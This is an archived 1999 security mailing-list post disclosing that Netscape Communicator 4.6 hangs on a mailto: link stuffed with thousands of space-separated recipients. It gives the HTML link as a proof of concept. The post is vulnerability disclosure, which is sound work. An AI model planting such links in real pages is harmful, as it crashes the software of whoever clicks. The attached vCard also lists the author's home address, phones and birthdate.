Netscape 4.6 DoS

From: Philip Stoev (philipat_private)
Date: Wed Jun 30 1999 - 09:57:40 PDT

Next message: Nicholas W. Blasgen: "Re: Outlook denial of service"

Previous message: Patrick Oonk: "[support_feedback@us-support.external.hp.com: Security Bulletins"
Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]

This is a multi-part message in MIME format.

------=_NextPart_000_000E_01BEC332.CF446620
Content-Type: text/plain;
	charset="windows-1251"
Content-Transfer-Encoding: 7bit

Netscape 4.6 Win98 (possibly other versions as well) process mailto: URLs so
that each item in the URL becomes a recepient of the empty message that
opens up for editing.

Therefore, an URL like:

<a href="mailto:
["a " repeated 10000000 times]
"> Click here </a>

such as:

<a href="mailto:
a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a
"> Click here </a>

will make Communicator open up an email message and start inserting hundreds
of recepients into the header part, effectively shutting down until this
process is complete (minutes or more?).


Philip Stoev - http://jobs.einet.bg/philip.html
Get your job @ EuroIntegra e-JOBS (http://jobs.einet.bg)


------=_NextPart_000_000E_01BEC332.CF446620
Content-Type: text/x-vcard;
	name="Philip Stoev.vcf"
Content-Transfer-Encoding: quoted-printable
Content-Disposition: attachment;
	filename="Philip Stoev.vcf"

BEGIN:VCARD
VERSION:2.1
N:Stoev;Philip;Dimitrov;Mr.
FN:Philip Stoev
NICKNAME:Philip
ORG:EuroIntegra Ltd.;Technical Support
TITLE:Senior Technical Support
TEL;WORK;VOICE:359 2 954 94 88
TEL;HOME;VOICE:359 2 81 59 49
TEL;WORK;FAX:359 2 544 669
ADR;WORK;ENCODING=3DQUOTED-PRINTABLE:;;Baba Iliitza 2=3D0D=3D0ABl. 80A =
fl. 14;Sofia;BG;;Bulgaria
LABEL;WORK;ENCODING=3DQUOTED-PRINTABLE:Baba Iliitza 2=3D0D=3D0ABl. 80A =
fl. 14=3D0D=3D0ASofia, BG=3D0D=3D0ABulgaria
ADR;HOME:;;Geo Milev 40/B;Sofia;BG;1111;Bulgaria
LABEL;HOME;ENCODING=3DQUOTED-PRINTABLE:Geo Milev 40/B=3D0D=3D0ASofia, BG =
1111=3D0D=3D0ABulgaria
URL:http://studywiz.hypermart.net
URL:http://www.einet.bg
BDAY:19800517
EMAIL;PREF;INTERNET:philipat_private
EMAIL;INTERNET:philip_stoevat_private
REV:19990630T165740Z
END:VCARD

------=_NextPart_000_000E_01BEC332.CF446620--

Next message: Nicholas W. Blasgen: "Re: Outlook denial of service"
Previous message: Patrick Oonk: "[support_feedback@us-support.external.hp.com: Security Bulletins"
Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]

This archive was generated by hypermail 2b30 : Fri Apr 13 2001 - 14:51:18 PDT